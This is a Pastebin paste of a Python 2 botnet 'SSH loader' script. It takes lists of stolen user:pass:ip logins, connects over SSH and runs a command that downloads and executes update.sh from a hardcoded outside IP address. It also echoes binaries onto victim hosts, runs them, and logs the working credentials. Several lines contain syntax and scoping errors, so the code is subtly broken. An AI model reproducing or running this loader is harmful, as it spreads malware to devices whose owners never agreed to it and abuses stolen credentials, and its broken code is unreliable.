Advertisement
Guest User

Python SSH echoloader by Freak :D

a guest
Jan 16th, 2018
311
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.48 KB | None | 0 0
  1. #!/usr/bin/python
  2. #Phaaaat hax SSH loader by Milenko
  3.  
  4. import sys, re, os, paramiko, socket
  5. from threading import Thread
  6. from time import sleep
  7.  
  8. if len(sys.argv) < 2:
  9. sys.exit("\033[37mUsage: python "+sys.argv[0]+" [vuln list]")
  10.  
  11. paramiko.util.log_to_file("/dev/null")
  12. rekdevice="cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://80.82.70.225/update.sh; busybox wget http://80.82.70.225/update.sh; chmod 777 update.sh; sh update.sh; rm -f update.sh" #command to send
  13. print "\033[31m"
  14.  
  15. print "S-S-SUUUPER fast SSH loader by Milenko"
  16. print
  17. #simply find and replace newlines to :: then a newline so every IP starts with ::. It will scan those for port 22 or whatever your skiddie heart desires </3
  18. print "Reads user:pass:ip and simply checks the IP for port 22."
  19. print "Then writes loads the bonet onto it and saves the logins with SSH running to \"sshopen.txt\""
  20. print "It is VERY fast and extremely efficient."
  21. print "As it splits the file into equal chunks for each thread!"
  22.  
  23. threads = int(raw_input("Threads: "))
  24.  
  25. lines = open(sys.argv[1],"r").readlines()
  26.  
  27. fh = open("sshopen.txt","a+")
  28.  
  29. def chunkify(lst,n):
  30. return [ lst[i::n] for i in xrange(n) ]
  31.  
  32. running = 0
  33.  
  34. loaded = 0
  35.  
  36. def printStatus():
  37. while 1:
  38. sleep(10)
  39. print "\033[32m[\033[31m+\033[32m] Total eye pees loaded: " + str(loaded) + "\033[37m"
  40. if loaded >= 1000:
  41. print "Dayum u got sum phat hax brah :^}"
  42.  
  43. def haxit(username,password,ip):
  44. try:
  45. port = 22
  46. ssh = paramiko.SSHClient()
  47. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  48. ssh.connect(ip, port = port, username=username, password=password, timeout=3)
  49. print "\033[32m[\033[31m+\033[32m] Echoloading: " + ip + "\033[37m"
  50. for file in os.listdir("bins"):
  51. f=open(file,"rb"):
  52. for line in f.readlines()
  53. ssh.exec_command("echo " + line + ">>" + file)
  54. ssh.exec_command("chmod 777 " + file)
  55. ssh.exec_command("./" + file)
  56. print "\033[32m[\033[31m+\033[32m] Command Sent: " + ip + "\033[37m"
  57. sleep(10)
  58. loaded += 1
  59. ssh.close()
  60. except:
  61. pass
  62.  
  63. def check(chunk, fh):
  64. global running
  65. running += 1
  66. threadID = running
  67. for login in chunk:
  68. if login.startswith("DUP"):
  69. continue # skip DUPS cause fuck em
  70.  
  71. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  72. s.settimeout(3)
  73. try:
  74. s.connect((login.split(":")[2], 22))
  75. s.close()
  76. print "\033[32m[\033[31m+\033[32m] " + login + " has SSH open. Loading..."
  77. haxit(login.split(":")[0], login.split(":")[1], login.split(":")[2])
  78. fh.write(login + "\r\n")
  79. fh.flush()
  80. except:
  81. pass
  82. print "\033[32m[\033[31m+\033[32m] Thread " + str(threadID) + " has finished scanning " + str(len(chunk)) + " IPs. Loaded: " + str(loaded)
  83. running -= 1
  84.  
  85. lines = map(lambda s: s.strip(), lines) # remove all newlines
  86.  
  87. chunks = chunkify(lines, threads) # make seperate chunk for each thread
  88.  
  89. print "STARTING SCAN AND LOAD!!!"
  90.  
  91. Thread(target = printStatus, args = ()).start()
  92.  
  93. for thread in xrange(0,threads):
  94. if thread >= 384:
  95. time.sleep(0.2)
  96. try:
  97. Thread(target = check, args = (chunks[thread], fh,)).start()
  98. except:
  99. pass
  100. print "Scanning... Press enter 3 times to stop."
  101.  
  102. for i in range(0,3):
  103. raw_input()
  104.  
  105. fh.close()
  106.  
  107. os.popen("kill -9 " + str(os.getpid()))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement